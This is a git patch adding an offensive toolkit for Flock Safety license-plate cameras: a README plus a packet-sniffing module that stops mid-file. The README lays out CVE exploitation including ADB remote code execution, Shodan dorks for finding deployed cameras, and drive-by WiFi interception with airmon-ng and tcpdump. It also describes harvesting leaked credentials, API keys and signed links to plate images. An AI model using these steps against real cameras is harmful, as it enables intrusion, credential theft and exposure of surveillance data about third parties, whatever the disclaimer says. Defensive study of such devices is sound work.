From 587f14697ef5a42c643eb53066f5059b8e67958d Mon Sep 17 00:00:00 2001 From: ek0ms savi0r <4+ek0mssavi0r@noreply.git.churchofmalware.org> Date: Sun, 19 Jul 2026 06:01:00 +0000 Subject: [PATCH] Upload files to "/" --- README.md | 366 +++++++++++- flock_tap.py | 716 ++++++++++++++++++++++++ masscan_wrapper.sh | 18 + run_scanner.sh | 34 ++ scanner.py | 1325 ++++++++++++++++++++++++++++++++++++++++++++ shodan_queries.py | 80 +++ 6 files changed, 2537 insertions(+), 2 deletions(-) create mode 100644 flock_tap.py create mode 100644 masscan_wrapper.sh create mode 100644 run_scanner.sh create mode 100644 scanner.py create mode 100644 shodan_queries.py diff --git a/README.md b/README.md index e0d5968..72f7dfe 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,365 @@ -# Flock_SCAN +

+ + + +

-scan flock at a network and application layer \ No newline at end of file +``` +███████╗██╗ ██████╗ ██████╗██╗ ██╗ ███████╗ ██████╗ █████╗ ███╗ ██╗ +██╔════╝██║ ██╔═══██╗██╔════╝██║ ██╔╝ ██╔════╝██╔════╝██╔══██╗████╗ ██║ +█████╗ ██║ ██║ ██║██║ █████╔╝ ███████╗██║ ███████║██╔██╗ ██║ +██╔══╝ ██║ ██║ ██║██║ ██╔═██╗ ╚════██║██║ ██╔══██║██║╚██╗██║ +██║ ███████╗╚██████╔╝╚██████╗██║ ██╗ ███████║╚██████╗██║ ██║██║ ╚████║ +╚═╝ ╚══════╝ ╚═════╝ ╚═════╝╚═╝ ╚═╝ ╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═══╝ +``` + +Multi-mode Flock Safety security assessment tool. + +--- + +## Capabilities + +### 1) CVE Scanning +| CVE | Score | Description | +|-----|-------|-------------| +| **CVE-2025-59403** | 9.8 | Unauthenticated admin API / ADB RCE | +| **CVE-2025-59407** | CRIT | Hardcoded keystore crypto key | +| **CVE-2025-47818** | HIGH | Hardcoded fallback hotspot credentials | +| **CVE-2025-47823** | HIGH | Hardcoded system password on ALPR firmware | + +Disclaimer: For authorized security testing only. + +### 2) Flock Instance Discovery +Scans any subnet for all known Flock camera fingerprints. + +| Fingerprint | Port | Detection | +|-------------|------|-----------| +| **ADB shell** | 5555 | `getprop ro.product.model` -> Flock/Falcon/Sparrow | +| **Admin web UI** | 80/443 | GainSec's `admin_page_template.html` in HTTP body | +| **ONVIF device** | 80/443/8899 | SOAP `GetDeviceInformation` -> manufacturer string | +| **SpeedPourer** | 21 | FTP banner / admin page references | +| **FRP tunnel** | 7000-7500 | Fast Reverse Proxy banner grab | +| **Cloud DNS** | -- | Admin UI contains `*.flocksafety.com` URLs | +| **All 4 CVEs** | -- | Per-host exploit checks run automatically | + +### 3) Traffic Analysis +Determines if a Flock camera sends data to **the cloud** or a **local station**. + +``` +CLOUD -> Sends data to api.flocksafety.com / Flock infrastructure +LOCAL_STATION -> Data stays on-prem (no cloud contact detected) +INDETERMINATE -> Unable to determine (camera may be offline) +``` + +Detection methods: +- **DNS resolution** of `api.flocksafety.com` and other Flock domains +- **Admin UI inspection** -- `/metadata`, `/config` endpoints checked for cloud URLs vs internal IPs +- **FRP tunnel detection** -- Reverse Proxy tunnel on ports 7000/7500 +- **ADB network config** -- reads gateway and DNS from camera shell + +### 4) Traffic Tap -- Passive Monitoring (NEW) + +Watch live camera traffic or analyze a PCAP file to see exactly what Flock cameras are communicating with. No decryption needed. + +#### What it detects + +| Signal | What it reveals | +|--------|----------------| +| **DNS queries** | Every domain the camera resolves -- `api.flocksafety.com`, `flock-hibiki-inbox.s3...`, etc. | +| **TLS SNI** | HTTPS destinations **without decryption** -- just the hostname | +| **FRP tunnels** | Outbound connections on ports 7000-7500 (Fast Reverse Proxy) | +| **TCP connections** | Full connection map -- who talks to whom, how much data flows | +| **Cloud vs Local** | Classification per IP: `CLOUD_CONNECTED`, `LOCAL_STATION`, `UNKNOWN` | + +#### Callback Architecture + +The tap fires three callbacks for every packet, matching the pseudocode design: + +```python +def on_dns_query(self, hostname, src_ip, resolved_ips, timestamp): + if "flocksafety" in hostname: + self.flow_stats[src_ip]["cloud_dns"] += 1 + +def on_tcp_connect(self, src, dst, sport, dport, timestamp): + if dport in [7000, 7500, 7001, 7002]: + self.flow_stats[src]["frp_tunnel"] = True + +def on_tls_sni(self, sni, src_ip, dst_ip, timestamp): + cat = self._categorize_sni(sni) # "auth" | "s3_upload" | "cloud_api" + self.flow_stats[src_ip][f"{cat} += 1 +``` + +#### Zeek-Equivalent FRP Signature + +```python +# signature frp-tunnel { +# ip-proto == tcp +# dst-port in [7000, 7500, 7001, 7002] +# payload /frp|auth|proxy_type/ +# event "FRP TUNNEL DETECTED" +# } +``` + +#### SNI Traffic Categorization + +| Category | Matches | Example | +|----------|---------|---------| +| `auth` | auth0, login | `login.flocksafety.com`, `prod-flock.auth0.com` | +| `s3_upload` | s3.amazonaws | `flock-hibiki-inbox.s3.us-east-1.amazonaws.com` | +| `cloud_api` | flocksafety, flock | `api.flocksafety.com`, `websockets.flocksafety.com` | + +#### Report Output + +``` +============================================================ + FLOCK TRAFFIC TAP REPORT +============================================================ + +Capture: + Interface: eth0 + Duration: 300.5s + Packets: 142,931 + +Classification: + Cloud-connected: 3 + Local station: 12 + Unknown: 5 + +Cloud-Connected Cameras: + 192.168.1.104 DNS(api.flocksafety.com) + 192.168.1.107 SNI(login.flocksafety.com) + 192.168.1.110 FRP(2 tunnels) + +FRP Tunnels: 2 + 192.168.1.110 -> 10.0.0.50:7500 [frp_tunnel] + 192.168.1.110 -> 10.0.0.50:7000 [frp_auth_payload] + +Flock Domains Resolved: + - api.flocksafety.com + - flock-hibiki-inbox.s3.us-east-1.amazonaws.com + - login.flocksafety.com + - prod-flock.auth0.com + - websockets.flocksafety.com + +TLS Traffic Categories: + auth: 47 connections + s3_upload: 1887 connections + cloud_api: 2341 connections +``` + +--- + +## Quick Start + +> Most features require root. Run with `sudo` when scanning or capturing. + +```bash +pip install requests +sudo python3 scanner.py +``` + +### CVE Scanning +```bash +sudo python3 scanner.py -t 192.168.1.100 +sudo python3 scanner.py -f targets.txt --exploit +sudo python3 scanner.py --output results.json -v +``` + +### Instance Discovery +```bash +sudo python3 scanner.py --discover 192.168.1.0/24 +sudo python3 scanner.py --discover 10.0.0.0/16 --output found.json +``` + +### Traffic Analysis +```bash +sudo python3 scanner.py --analyze-traffic 192.168.1.100 +sudo python3 scanner.py --analyze-traffic 10.0.0.50 --output flow.json +``` + +### Traffic Tap (Live Capture) +```bash +# Requires scapy: pip install scapy +sudo python3 scanner.py --tap-interface eth0 --tap-output report.json +``` + +### Traffic Tap (PCAP Analysis) +```bash +sudo python3 scanner.py --tap-pcap capture.pcap --tap-output report.json +``` + +### Traffic Tap (Pipe from tcpdump) +```bash +sudo tcpdump -i eth0 -l -nn | sudo python3 scanner.py --tap-pipe -v +``` + +### Enrichment Mode (v3.0+) +```bash +# Add --enrich to any scan for extra data collection +sudo python3 scanner.py -t 192.168.1.100 --enrich +sudo python3 scanner.py -f targets.txt --enrich --output enriched_scan.json +sudo python3 scanner.py --discover 192.168.1.0/24 --enrich -v +``` + +**What --enrich adds:** +- **Banner grabber** -- HTTP headers (Server, X-Powered-By, Via, cookies), FTP banner (SpeedPourer version), TLS cert (SANs, issuer, expiry), SSH version +- **Cloud provider enrichment** -- IP → ASN/org/provider via ip-api.com + WHOIS fallback (AWS, GCP, Azure, Cloudflare, etc.) +- **Telemetry detection** -- Google Analytics IDs, Hotjar, Sentry, Facebook Pixel, Segment, and 30+ other SaaS services +- **ADB deep collect** -- WiFi SSID/BSSID, gateway, DNS servers, ARP table, uptime, processes, battery state, installed packages, logcat errors +- **Network map** -- Passive subnet discovery via ARP table + MAC OUI vendor resolution +- **Credential extractor** -- Scans HTTP bodies for leaked M2M OAuth client_id/secret, webhook API keys, Auth0 configs, org UUIDs +- **Prometheus scraper** -- Probes local network for open Prometheus/Grafana instances, scrapes targets + metrics +- **S3 URL catcher** -- Extracts signed S3 image URLs from captured traffic (flock-hibiki-inbox, hotlist, webhook payloads) + +--- + +## Drive-By WiFi Recon (Monitor Mode) + +```bash +# 1. Put adapter in monitor mode first +iwconfig # find your interface +sudo airmon-ng start wlan0 + +# 2. Capture camera traffic (PCAP is best, pipe is for quick checks) +sudo airodump-ng wlan0mon -w capture --output-format pcap +# OR +sudo tcpdump -i wlan0mon -w capture.pcap +# OR pipe live (lightweight, DNS + FRP only) +sudo tcpdump -i wlan0mon -l -nn | sudo python3 scanner.py --tap-pipe -v + +# 3. Back home: offline analysis extracts everything +sudo python3 scanner.py --tap-pcap capture.pcap --enrich --output report.json -v +``` + +> **Why PCAP, not pipe?** `--tap-pcap` uses scapy to extract DNS queries, TLS SNI, and HTTP payloads from every packet. `--tap-pipe` only tracks connections — it cannot capture the HTTP bodies or TLS hostnames you need for credential extraction, S3 URLs, or telemetry. Always record to PCAP first. + +### What you'll get from the air + +| Signal | Captures | Module | +|--------|----------|--------| +| WiFi packets | Camera DNS queries, HTTP requests, admin page data | tap.py + banner_grabber.py | +| TLS SNI | Every HTTPS hostname the camera talks to (no decryption) | tap.py | +| HTTP bodies | Admin config pages, leaked API keys, webhook URLs | creds_extractor.py | +| S3 URLs | Signed LPR image links from flock-hibiki-inbox bucket | s3_url_catcher.py | +| Prometheus | Monitoring targets if camera's network has Prometheus | prometheus_scraper.py | +| FRP tunnels | Fast Reverse Proxy connections (cloud tunnel detection) | tap.py | +| Telemetry | Google Analytics, Sentry, FB Pixel in admin page JS | telemetry.py | + +### Output files created during enrich + +When you run `--enrich`, the tool auto-saves findings to your output directory: + +``` +creds_192_168_1_100.txt # All leaked credentials found +s3_urls_192_168_1_100.txt # All S3 signed URLs captured +``` + +--- + +## Interactive Menu + +```bash +sudo python3 scanner.py +``` + +``` + 1. Single IP + 2. IP Range (CIDR) + 3. From File + 4. Shodan Query + 5. Falcon/Sparrow Signatures + 6. Flock Instance Discovery + 7. Traffic Analysis + 8. Traffic Tap -- live monitor + 9. Traffic Tap -- analyze PCAP + 0. Return +``` + +--- + +## Shodan Queries + +```bash +python3 shodan_queries.py +``` + +Includes dedicated `FLOCK_DISCOVERY` queries: + +| Query | Finds | +|-------|-------| +| `title:"admin_page_template"` | Flock admin portals | +| `"/onvif/device_service" Flock` | ONVIF-capable Flock devices | +| `"SpeedPourer" port:21` | Speed test FTP servers | +| `"FRP" "flock" port:7000` | Reverse proxy tunnels | +| `ssl.cert.subject.cn:"*.flocksafety.com"` | Flock TLS certificates | +| `org:"Flock Safety"` | All Flock-owned infrastructure | + +--- + +## Safety + +- **Exploitation disabled by default** -- requires explicit `--exploit` flag +- **Rate-limited threads** -- default 10, configurable with `-T` +- **Discovery mode is passive** -- only sends probe/identification packets +- **Tap mode is read-only** -- never sends packets, only listens +- **User confirmation** required before any exploit execution + +```bash +# Scan only (no exploitation) +sudo python3 scanner.py -t 192.168.1.100 + +# Scan + exploit (requires confirmation) +sudo python3 scanner.py -t 192.168.1.100 --exploit +``` + +--- + +## All Flags + +| Flag | Description | Default | +|------|-------------|---------| +| `-t`, `--target` | Single target IP | -- | +| `-f`, `--file` | File with targets (one per line) | -- | +| `-o`, `--output` | Output file (JSON) | -- | +| `-v`, `--verbose` | Verbose output | off | +| `-T`, `--threads` | Number of scan threads | 10 | +| `--timeout` | Connection timeout (seconds) | 5 | +| `--exploit` | Enable exploitation (requires confirmation) | off | +| `--enrich` | Run enrichment modules (banners, cloud provider, telemetry, ADB deep, network map, creds, Prometheus, S3 URLs) | off | +| `--cve` | Scan specific CVE only | all | +| `--discover` | Discover Flock instances in subnet (CIDR) | -- | +| `--analyze-traffic` | Analyze cloud vs local data flow for a camera IP | -- | +| `--tap-interface` | Traffic Tap: live capture from interface | -- | +| `--tap-pcap` | Traffic Tap: analyze PCAP file | -- | +| `--tap-pipe` | Traffic Tap: read from stdin (tcpdump pipe) | off | +| `--tap-output` | Traffic Tap: save report to JSON file | -- | + +--- + +## File Layout + +``` +FLOCK_scan/ +├── scanner.py # Main tool (CVE scan + discovery + traffic analysis) +├── flock_tap.py # Passive traffic monitor (callbacks, FRP, SNI, DNS) +├── shodan_queries.py # Shodan dork generator +├── run_scanner.sh # Quick-launch script +├── masscan_wrapper.sh # Masscan integration +├── modules/ # Enrichment modules (v3.1+) +│ ├── __init__.py +│ ├── banner_grabber.py # HTTP/FTP/TLS/SSH banner collection +│ ├── cloud_enrich.py # IP → ASN/org/cloud provider +│ ├── telemetry.py # Analytics, pixels, JS endpoints +│ ├── adb_deep.py # Extended ADB props (route, wifi, DNS, processes) +│ ├── network_map.py # ARP-based passive subnet discovery +│ ├── creds_extractor.py # Leaked M2M tokens, webhook API keys, auth configs +│ ├── prometheus_scraper.py # Prometheus/Grafana discovery on local network +│ └── s3_url_catcher.py # Signed S3 image URL extraction from traffic +└── README.md +``` + +--- + +

+ Authorized security testing only. Use on systems you own or have written permission to test. +

diff --git a/flock_tap.py b/flock_tap.py new file mode 100644 index 0000000..545e5b7 --- /dev/null +++ b/flock_tap.py @@ -0,0 +1,716 @@ +#!/usr/bin/env python3 +""" +flock_tap.py — Passive Flock camera traffic monitor + +Captures and analyzes network traffic from Flock Safety cameras to determine: +- Which domains they communicate with (DNS tracking) +- Whether they connect to Flock cloud or a local station +- FRP tunnel detection (ports 7000-7500) +- TLS SNI fingerprinting (HTTPs destinations without decryption) +- Per-camera traffic profiles and bandwidth usage + +Modes: + --tap-interface eth0 Live capture from a network interface + --tap-pcap file.pcap Offline analysis of a PCAP file + --tap-pipe Read from tcpdump stdin pipe +""" + +import re +import os +import sys +import json +import time +import threading +import subprocess +from datetime import datetime +from collections import defaultdict + +# ── Flock-known infrastructure ── +FLOCK_CLOUD_DOMAINS = [ + "api.flocksafety.com", "app.flocksafety.com", + "users.flocksafety.com", "login.flocksafety.com", + "websockets.flocksafety.com", "safelist.flocksafety.com", + "events.flocksafety.com", "docs.flocksafety.com", + "status.flocksafety.com", + "flock-hibiki-inbox.s3.us-east-1.amazonaws.com", + "prod-flock-cd-bymknkftygg5gmc0.edge.tenants.auth0.com", +] + +FLOCK_CLOUD_IPS = [ + "198.202.211.1", "52.72.49.79", "34.71.237.120", + "104.18.16.189", "104.18.17.189", +] + +# Scapy availability +try: + from scapy.all import sniff, IP, TCP, UDP, DNS, DNSQR, Raw, conf + from scapy.layers.tls.all import TLS + from scapy.layers.tls.handshake import TLSClientHello + HAVE_SCAPY = True +except ImportError: + HAVE_SCAPY = False + +# Colors (same as scanner.py) +class C: + H = '\033[95m'; BL = '\033[94m'; CY = '\033[96m' + G = '\033[92m'; Y = '\033[93m'; R = '\033[91m' + END = '\033[0m'; B = '\033[1m' + + +class FlockTrafficTap: + """ + Passive traffic monitor for Flock Safety cameras. + + Matches the pseudocode interface: + tap = FlockTrafficTap(interface="eth0") + tap.start() + tap.report() + + Callbacks (called on each packet): + on_dns_query(hostname, src_ip, resolved_ips, timestamp) + on_tcp_connect(src, dst, sport, dport, timestamp) + on_tls_sni(sni, src_ip, dst_ip, timestamp) + """ + + def __init__(self, interface=None, pcap=None, pipe=False, verbose=False, + output_file=None, timeout=None, filter_expr=None): + self.interface = interface + self.pcap = pcap + self.pipe = pipe + self.verbose = verbose + self.output_file = output_file + self.timeout = timeout + self.filter_expr = filter_expr + + # ── flow_stats: matches pseudocode structure ── + self.flow_stats = defaultdict(lambda: { + "cloud_dns": 0, + "frp_tunnel": False, + "auth_tls": 0, + "s3_uploads": 0, + "cloud_api": 0, + "bytes_up": 0, + "bytes_down": 0, + "connections": 0, + "first_seen": None, + "last_seen": None, + }) + + # ── Raw device-level data store ── + self.devices = defaultdict(lambda: { + "dns_queries": [], + "connections": [], + "frp_tunnels": [], + "tls_snis": [], + "http_requests": [], + "bytes_up": 0, + "bytes_down": 0, + "packets_seen": 0, + "first_seen": None, + "last_seen": None, + }) + + self.seen_domains = set() + self.frp_ports = {7000, 7500, 7001, 7002} + self.running = False + self.packet_count = 0 + self.start_time = None + + # ═══════════════════════════════════════════════════ + # CALLBACKS — matches pseudocode interface + # ═══════════════════════════════════════════════════ + + def on_dns_query(self, hostname, src_ip, resolved_ips=None, timestamp=None): + """Called for every DNS query. Updates flow_stats.""" + if "flocksafety" in hostname.lower(): + self.flow_stats[src_ip]["cloud_dns"] += 1 + + def on_tcp_connect(self, src, dst, sport, dport, timestamp=None): + """Called for every TCP SYN. Updates flow_stats.""" + fs = self.flow_stats[src] + fs["connections"] += 1 + fs["bytes_up"] += 64 # approximate + if dport in self.frp_ports: + fs["frp_tunnel"] = True + + def on_tls_sni(self, sni, src_ip, dst_ip, timestamp=None): + """Called for every TLS SNI. Categorizes and updates flow_stats.""" + cat = self._categorize_sni(sni) + fs = self.flow_stats[src_ip] + if cat == "auth": + fs["auth_tls"] += 1 + elif cat == "s3_upload": + fs["s3_uploads"] += 1 + elif cat == "cloud_api": + fs["cloud_api"] += 1 + + def _categorize_sni(self, sni): + """Classify a TLS SNI into a traffic category.""" + s = sni.lower() + if "auth0" in s or "login" in s: + return "auth" + if "s3.amazonaws" in s or ("s3" in s and "amazon" in s): + return "s3_upload" + if "flocksafety" in s or "flock" in s: + return "cloud_api" + return None + + # ═══════════════════════════════════════════════════ + # CLASSIFICATION — matches pseudocode interface + # ═══════════════════════════════════════════════════ + + def classify_device(self, camera_ip): + """Generate a full traffic profile for a camera (from pseudocode).""" + stats = self.flow_stats[camera_ip] + if stats.get("cloud_dns", 0) > 0 or stats.get("frp_tunnel"): + return "CLOUD_CONNECTED" + if stats.get("s3_uploads", 0) > 0 or stats.get("auth_tls", 0) > 0: + return "CLOUD_CONNECTED" + if stats.get("connections", 0) > 0: + return "LOCAL_STATION" + return "OFFLINE_OR_UNMONITORED" + + def classify_camera(self, ip): + """Return verdict for a single camera IP (raw data fallback).""" + verdict = self.classify_device(ip) + if verdict != "OFFLINE_OR_UNMONITORED": + return verdict + + dev = self.devices.get(ip, {}) + if not dev: + return "NO_DATA" + has_flock_sni = any( + "flock" in s.get("sni", "").lower() or "auth0" in s.get("sni", "").lower() + for s in dev.get("tls_snis", []) + ) + has_frp = len(dev.get("frp_tunnels", [])) > 0 + if has_flock_sni or has_frp: + return "CLOUD_CONNECTED" + if dev.get("connections"): + return "LOCAL_STATION" + return "UNKNOWN" + + # ═══════════════════════════════════════════════════ + # PACKET HANDLER — scapy + # ═══════════════════════════════════════════════════ + + def _handle_packet_scapy(self, pkt): + """Process a packet — dispatches to callbacks.""" + self.packet_count += 1 + if not pkt.haslayer(IP): + return + + ip = pkt[IP] + src, dst = ip.src, ip.dst + ts = time.time() + + dev = self.devices[src] + if dev["first_seen"] is None: + dev["first_seen"] = ts + dev["last_seen"] = ts + dev["packets_seen"] += 1 + dev["bytes_up"] += ip.len + + dev_dst = self.devices[dst] + dev_dst["bytes_down"] += ip.len + if dev_dst["first_seen"] is None: + dev_dst["first_seen"] = ts + dev_dst["last_seen"] = ts + dev_dst["packets_seen"] += 1 + + # ── DNS ── + if pkt.haslayer(DNS) and pkt.haslayer(DNSQR): + try: + qname = pkt[DNSQR].qname.decode().rstrip(".") + resolved_ips = [] + if pkt[DNS].ancount > 0: + for i in range(pkt[DNS].ancount): + try: + rr = pkt[DNS].an[i] + if hasattr(rr, "rdata"): + resolved_ips.append(str(rr.rdata)) + except Exception: + pass + + self.on_dns_query(qname, src, resolved_ips, ts) + dev["dns_queries"].append({ + "timestamp": ts, "src": src, + "query": qname, "resolved_ips": resolved_ips, + }) + self.seen_domains.add(qname) + + if self.verbose: + is_flock = "flock" in qname.lower() + tag = f" {C.R}Flock{C.END}" if is_flock else "" + rips = f" -> {resolved_ips}" if resolved_ips else "" + c = C.R if is_flock else C.CY + print(f" DNS {c}{src:<16} {qname:<50}{rips}{C.END}{tag}") + except Exception: + pass + + # ── TCP connections (FRP detection) ── + if pkt.haslayer(TCP): + tcp = pkt[TCP] + sport, dport = tcp.sport, tcp.dport + + self.on_tcp_connect(src, dst, sport, dport, ts) + + if tcp.flags & 0x02: # SYN + dev["connections"].append({ + "timestamp": ts, "src": src, "sport": sport, + "dst": dst, "dport": dport, "bytes": ip.len, + }) + + # ── FRP Tunnel Detection ── + # FRP handshake pattern: + # 1. Camera connects to port 7000-7500 on a remote server + # 2. Sends auth + proxy configuration JSON + # 3. Server opens reverse tunnel + # + # Detection signature (Zeek-equivalent): + # signature frp-tunnel { + # ip-proto == tcp + # dst-port in [7000, 7500, 7001, 7002] + # payload /frp|auth|proxy_type/ + # event "FRP TUNNEL DETECTED" + # } + if dport in self.frp_ports: + self.flow_stats[src]["frp_tunnel"] = True + dev["frp_tunnels"].append({ + "timestamp": ts, "src": src, "dst": dst, + "port": dport, "type": "frp_tunnel", + }) + if self.verbose: + print(f" {C.R}FRP {src:<16} -> {dst}:{dport} [FRP TUNNEL]{C.END}") + + # Raw payload scan for FRP auth + if tcp.haslayer(Raw): + raw = tcp[Raw].load + if b"frp" in raw.lower() or b"auth" in raw.lower() or b"proxy_type" in raw.lower(): + self.flow_stats[src]["frp_tunnel"] = True + dev["frp_tunnels"].append({ + "timestamp": ts, "src": src, "dst": dst, + "port": dport, "type": "frp_auth_payload", + "payload_preview": raw[:64].decode(errors="replace"), + }) + if self.verbose: + self.log(f"{C.R}FRP_AUTH {src} -> {dst}:{dport} - auth payload{C.END}") + + # ── TLS SNI ── + if pkt.haslayer(TCP) and pkt.haslayer(Raw): + tcp = pkt[TCP] + dport = tcp.dport + raw = tcp[Raw].load + if dport == 443 and len(raw) > 50 and raw[0] == 0x16 and raw[1] in (0x03,): + sni = self._extract_sni(raw) + if sni: + self.on_tls_sni(sni, src, dst, ts) + dev["tls_snis"].append({"timestamp": ts, "src": src, "dst": dst, "sni": sni}) + if self.verbose: + cat = self._categorize_sni(sni) + c = C.R if cat else C.CY + tag = f" [{cat}]" if cat else "" + print(f" TLS {c}{src:<16} -> {dst:<16} {sni:<50}{C.END}{tag}") + + def _extract_sni(self, data): + """Extract TLS SNI from raw ClientHello bytes.""" + try: + offset = 5 + 4 + 32 + if offset + 1 > len(data): + return None + sid_len = data[offset] + offset += 1 + sid_len + if offset + 2 > len(data): + return None + cs_len = (data[offset] << 8) | data[offset + 1] + offset += 2 + cs_len + if offset + 1 > len(data): + return None + cm_len = data[offset] + offset += 1 + cm_len + if offset + 2 > len(data): + return None + ext_len = (data[offset] << 8) | data[offset + 1] + offset += 2 + ext_end = offset + ext_len + while offset + 4 <= ext_end: + ext_type = (data[offset] << 8) | data[offset + 1] + ext_data_len = (data[offset + 2] << 8) | data[offset + 3] + offset += 4 + if ext_type == 0: + if offset + 2 <= ext_end: + list_len = (data[offset] << 8) | data[offset + 1] + offset += 2 + if offset + 1 <= ext_end: + name_type = data[offset] + offset += 1 + if name_type == 0: + if offset + 2 <= ext_end: + name_len = (data[offset] << 8) | data[offset + 1] + offset += 2 + if offset + name_len <= ext_end: + return data[offset:offset + name_len].decode(errors="replace") + offset += ext_data_len + except Exception: + pass + return None + + # ═══════════════════════════════════════════════════ + # TCPDUMP PIPE FALLBACK + # ═══════════════════════════════════════════════════ + + def _parse_tcpdump_line(self, line): + """Parse a line from tcpdump -l -nn output.""" + try: + parts = line.split() + if len(parts) < 5: + return None + src_part = parts[2].rstrip(":") + dst_part = parts[4].rstrip(":") + src_ip, src_port = src_part.rsplit(".", 1) + dst_ip, dst_port = dst_part.rsplit(".", 1) + if dst_port == "53" or src_port == "53": + result = {"type": "dns", "src": src_ip, "sport": src_port, + "dst": dst_ip, "dport": int(dst_port), "raw": line} + # Try to extract the actual DNS query name + # Format: "... 12345+ A? hostname.domain.tld. (len)" + qm = re.search(r'\?\s+([a-zA-Z0-9.-]+)\.?\s', line) + if qm: + result["query"] = qm.group(1).rstrip(".") + return result + if "Flags [S]" in line: + return {"type": "syn", "src": src_ip, "sport": int(src_port), + "dst": dst_ip, "dport": int(dst_port), "raw": line} + return {"type": "other", "src": src_ip, "sport": src_port, + "dst": dst_ip, "dport": dst_port, "raw": line} + except Exception: + return None + + # ═══════════════════════════════════════════════════ + # PUBLIC API + # ═══════════════════════════════════════════════════ + + def log(self, msg): + ts = datetime.now().strftime("%H:%M:%S") + print(f"{C.CY}[{ts}]{C.END} {msg}") + + def start(self): + """Start capture in the foreground.""" + self.start_time = time.time() + self.running = True + if self.pcap: + self._run_pcap() + elif self.pipe: + self._run_pipe() + elif self.interface: + self._run_live() + else: + print(f"{C.R}Error: specify --tap-interface, --tap-pcap, or --tap-pipe{C.END}") + sys.exit(1) + + def _run_live(self): + if HAVE_SCAPY: + self.log(f"Live capture on {C.B}{self.interface}{C.END} (PID {os.getpid()})") + self.log("Ctrl+C to stop and report") + print() + try: + sniff(iface=self.interface, filter=self.filter_expr or "ip", + prn=self._handle_packet_scapy, store=0, timeout=self.timeout) + except KeyboardInterrupt: + pass + self.running = False + else: + self.log(f"{C.Y}scapy not installed — falling back to tcpdump pipe{C.END}") + self._run_pipe() + + def _run_pcap(self): + if not HAVE_SCAPY: + print(f"{C.R}Error: scapy required for pcap. pip install scapy{C.END}") + sys.exit(1) + self.log(f"Analyzing pcap: {C.B}{self.pcap}{C.END}\n") + try: + sniff(offline=self.pcap, prn=self._handle_packet_scapy, store=0, + timeout=self.timeout) + except Exception as e: + print(f"{C.R}Error: {e}{C.END}") + sys.exit(1) + self.running = False + + def _run_pipe(self): + self.log("Reading from pipe (stdin). Send traffic or Ctrl+C to stop.\n") + try: + for line in sys.stdin: + if not self.running: + break + line = line.strip() + if not line: + continue + parsed = self._parse_tcpdump_line(line) + if parsed: + self.packet_count += 1 + src = parsed["src"] + dst = parsed.get("dst", "?") + dport = parsed.get("dport", 0) + dev = self.devices[src] + if dev["first_seen"] is None: + dev["first_seen"] = time.time() + dev["last_seen"] = time.time() + dev["packets_seen"] += 1 + if parsed["type"] == "dns": + query = parsed.get("query", "") + if query: + dev["dns_queries"].append({ + "timestamp": time.time(), + "src": src, + "query": query, + "resolved_ips": [], + }) + self.seen_domains.add(query) + if "flock" in query.lower(): + self.flow_stats[src]["cloud_dns"] += 1 + if self.verbose: + self.log(f"{C.R}Flock DNS {src} -> {query}{C.END}") + elif self.verbose: + self.log(f"{C.CY}DNS {src} -> {query}{C.END}") + if parsed["type"] == "syn" and dport in self.frp_ports: + self.flow_stats[src]["frp_tunnel"] = True + dev["frp_tunnels"].append({ + "timestamp": time.time(), "src": src, + "dst": dst, "port": dport, "type": "frp_tunnel", + }) + if self.verbose: + self.log(f"{C.R}FRP {src} -> {dst}:{dport}{C.END}") + except KeyboardInterrupt: + pass + self.running = False + + # ═══════════════════════════════════════════════════ + # REPORT + # ═══════════════════════════════════════════════════ + + def generate_report(self): + """Build structured JSON report.""" + report = { + "type": "FLOCK_TAP_REPORT", + "capture_info": { + "interface": self.interface, + "pcap": self.pcap, + "start_time": self.start_time, + "duration": time.time() - self.start_time if self.start_time else 0, + "total_packets": self.packet_count, + }, + "flow_stats": {}, + "devices": {}, + "summary": {}, + } + + cloud_count = 0 + local_count = 0 + unknown_count = 0 + + for ip in sorted(set(list(self.devices.keys()) + list(self.flow_stats.keys()))): + verdict = self.classify_camera(ip) + if verdict == "CLOUD_CONNECTED": + cloud_count += 1 + elif verdict == "LOCAL_STATION": + local_count += 1 + else: + unknown_count += 1 + + # Always include flow_stats + report["flow_stats"][ip] = dict(self.flow_stats[ip]) + + dev = self.devices.get(ip, {}) + if dev.get("packets_seen", 0) < 5: + continue + + snis = list(set(s["sni"] for s in dev.get("tls_snis", []))) + dns_list = list(set(q["query"] for q in dev.get("dns_queries", []))) + + report["devices"][ip] = { + "verdict": verdict, + "packets_seen": dev["packets_seen"], + "bytes_up": dev["bytes_up"], + "bytes_down": dev["bytes_down"], + "first_seen": dev["first_seen"], + "last_seen": dev["last_seen"], + "dns_queries_count": len(dev["dns_queries"]), + "tls_snis_count": len(dev.get("tls_snis", [])), + "frp_tunnels_count": len(dev.get("frp_tunnels", [])), + "connections_count": len(dev.get("connections", [])), + "flow_stats": dict(self.flow_stats[ip]), + "tls_snis": snis, + "frp_tunnels": dev.get("frp_tunnels", []), + "dns_domains": dns_list, + } + + report["summary"] = { + "total_ips_tracked": len(self.devices), + "cloud_connected": cloud_count, + "local_station": local_count, + "unknown": unknown_count, + "flock_domains_resolved": sorted( + d for d in self.seen_domains if "flock" in d.lower() + ), + "total_flock_queries": sum( + 1 for dev in self.devices.values() + for q in dev.get("dns_queries", []) + if "flock" in q.get("query", "").lower() + ), + "total_frp_tunnels": sum( + len(dev.get("frp_tunnels", [])) for dev in self.devices.values() + ), + } + return report + + def _extract_s3_from_collected(self): + """Scan collected traffic data for S3/image URLs.""" + from modules.s3_url_catcher import scan_traffic_for_s3, format_s3_findings_terminal + + # Build payload list from DNS queries (some domains look like S3) + pcap_bodies = [] + for dev_ip, dev in self.devices.items(): + for dns in dev.get("dns_queries", []): + q = dns.get("query", "") + if "s3" in q.lower() or "amazonaws" in q.lower() or "flock-hibiki" in q.lower(): + pcap_bodies.append(q) + for sni in dev.get("tls_snis", []): + s = sni.get("sni", "") + if "s3" in s.lower() or "amazonaws" in s.lower(): + pcap_bodies.append(s) + for conn in dev.get("connections", []): + # HTTP payloads sometimes appear in connection data + raw = conn.get("payload", "") + if raw and ("s3" in raw.lower() or "flock-hibiki" in raw.lower()): + pcap_bodies.append(raw) + + return scan_traffic_for_s3(pcap_payloads=pcap_bodies) + + def report(self): + """Print and optionally save the report.""" + print(f"\n{C.B}{'='*70}{C.END}") + print(f"{C.B} FLOCK TRAFFIC TAP REPORT{C.END}") + print(f"{C.B}{'='*70}{C.END}") + + elapsed = time.time() - self.start_time if self.start_time else 0 + print(f"\n{C.CY}Capture:{C.END}") + if self.interface: + print(f" Interface: 